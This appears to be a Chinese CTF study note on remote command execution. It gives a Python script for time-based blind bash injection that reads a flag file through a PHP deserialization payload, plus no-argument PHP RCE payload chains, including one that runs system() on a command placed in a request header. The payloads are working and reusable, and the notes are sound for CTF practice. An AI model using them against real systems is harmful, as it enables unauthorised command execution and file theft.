首页 > 其他分享 >03 RCE

03 RCE

时间:2023-11-09 20:12:05浏览次数:29  
标签:03 元素 result 数组 time RCE array

目录:


 

RCE:

 


 

 

RCE

RCE:远程命令注入

一些常见考法:

Bash盲注:

import time
import requests
url="http://51934713-a8a8-4fd7-bef6-8876cee55fdf.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
    for j in range(1, 50):#ascii码表
        for k in range(32, 127):
            k = chr(k)
            payload = f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length = len(payload)
            payload2 = {
                "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(
                    length, payload)
            }
            t1 = time.time()
            r = requests.post(url=url, data=payload2)
            t2 = time.time()
            if t2 - t1 > 1.5:
                result += k
                print(result)
    result += " "
View Code

参考:

NewStarCTF 2023 公开赛道 WEEK3|WEB   R!!!C!!!E!!!M!!!E!!!

NewStarCTF 2023 Week3 官方WriteUp (shimo.im)中的对应攻击脚本(即上述代码)

 

无参数RCE

即当我们传入的函数不能有参数时:

复制代码
scandir()
print_r(scandir(xxxxxx)); #表示获取某目录下的文件
localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."
current() 返回数组中的当前单元, 默认取第一个值。

file_get_contents() #把整个文件读入一个字符串中;
file #把整个文件读入一个数组中;
readfile() #读入一个文件并写入到输出缓冲;
highlight_file() #对文件进行语法高亮显示;
show_source() #对文件进行语法高亮显示;
 
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
next()指向数组的下一个元素。
prev() - 将内部指针指向数组中的上一个元素,并输出
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
 pos() 输出数组中的当前元素的值 

可以构造:
?exp=print_r(scandir(current(localeconv()))); //读取当前目录下的文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); //读取flag
复制代码

参考:

https://blog.csdn.net/qq_20533167/article/details/116945536
https://www.bilibili.com/read/cv18232136

 

若是无参数RCE过滤了许多东西

复制代码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}
复制代码 View Code

可以尝试使用以下进行绕过

?star=system(array_rand(array_flip(getallheaders())));

此时,还需要在请求头中随便加入一个键值对,注意,值的部分即是我们想要执行的命令;如 sdv:ls /

还要注意,我们注入的命令时是否执行,是随机的,故而需要多次发包。

参考:

NewStarCTF2023week2-R!!C!!E!!(很细)-CSDN博客

[NewStarCTF 2023] web题解 - overfit.cn (另一种类似的解法)

  返回目录  

 

标签:03,元素,result,数组,time,RCE,array
From: https://www.cnblogs.com/yiyajinluo/p/17822686.html

相关文章

  • [题解]CFgym103470E Paimon Segment Tree
    PaimonSegmentTree区间加,求一段时间内的区间平方和。\(n,m,q\le5\times10^4\)。对时间维差分一下,变成询问区间历史平方和。离线下来扫描线,扫描线维护时间维,数据结构维护序列维。考虑维护二元组\((a,s)\)表示当前位置值为\(a\),历史平方和为\(s\)。可以发现怎......
  • day03
    搜索文档树find和find——allfrombs4importBeautifulSouphtml_doc="""<html><head><title>TheDormouse'sstory</title></head><body><pclass="title"><b>TheDormouse'sstory&l......
  • TypeError: Cannot read properties of null (reading 'level')
    一、分析问题1、一个下拉框组件的更新由另一个下拉框组件控制被动更新列表,子级下拉框的值是由父级下拉框的值调用接口获取,每次父级下拉框值的改变都会改变子级下拉框的数据源也就是会改变子级下拉框的options,切换后之前的父级节点找不到就会报了这个错,父级节点不改变(即不切换)的......
  • 1. 手动移植FreeRTOS V9.00到 Stm32F103C8T6
    记录移植过程,以便以后查看:1.使用cubeMAX配置一个工程a.选择单片机型号: b。设置SWD调试,选TIM4作为系统时钟,systick要用来跑freeRTOS c.NVIC默认使用Group4 配置GPIO,我这里配置了两个引脚,作为LED输出 d,RCC都选外部晶振 e。配置时钟树,HCLK72Mhz  f。project......
  • ASP.NET Ajax exception - Two components with the same id can't be added to the a
    There'sacoupleofexceptionstolookoutforwhenyoustartdevelopingcustomASP.NETAjaxclientcontrols. Theyare:MicrosoftJScriptruntimeerror:Sys.InvalidOperationException:Twocomponentswiththesameid'ctl00_MainContentPlaceHold......
  • 'ddlCities' has a SelectedValue which is invalid because it does not exist in th
    this.ddlCities.DataSource=GetAll_List();this.ddlCities.DataTextField="Name";this.ddlCities.DataValueField="Id";this.ddlCities.DataBind();错误:'ddlCities'hasaSelectedValuewhichisinvalidbecauseitdoe......
  • 03-链表
    3.链表3.1单向链表和双向链表单项:有一个next,双向:last,next3.2删除链表的倒数第n个结点1.题目https://leetcode.cn/problems/SLwz0R/给定一个链表,删除链表的倒数第n个结点,并且返回链表的头结点。输入:head=[1,2,3,4,5],n=2输出:[1,2,3,5]输入:head=[1],n=1......
  • Required request parameter 'numbers' for method parameter type String[] is not p
    报错就是这个,然后报错的信息再给点详细的 org.springframework.web.bind.MissingServletRequestParameterException:Requiredrequestparameter'numbers'formethodparametertypeString[]isnotpresent atorg.springframework.web.method.annotation.RequestParam......
  • 【操作系统学习笔记03】
    以下是下面链接中教程的笔记,如有侵权请联系我删除。随便学学可能不严谨,但如果有离谱错误烦请指正。https://www.bilibili.com/video/BV1YE411D7nH?p=3&vd_source=febdc1a8028af6b442667407286a2750操作系统引导——如何让操作系统运行磁盘中独立于各可见分区,存在【主引导......
  • AGC034E
    虽然做法大致相同,但是本篇题解将会讲述如何想出正解,分享我的思路。望通过。首先看到题目,容易想到一个简单很多的情况:在一条链上,且终点确定。此时就可以把终点两边的点分开,分别计算到终点的距离之和,看是否相等即可。没有确定终点时,枚举一个终点即可。考虑将这种做法带入本题。先......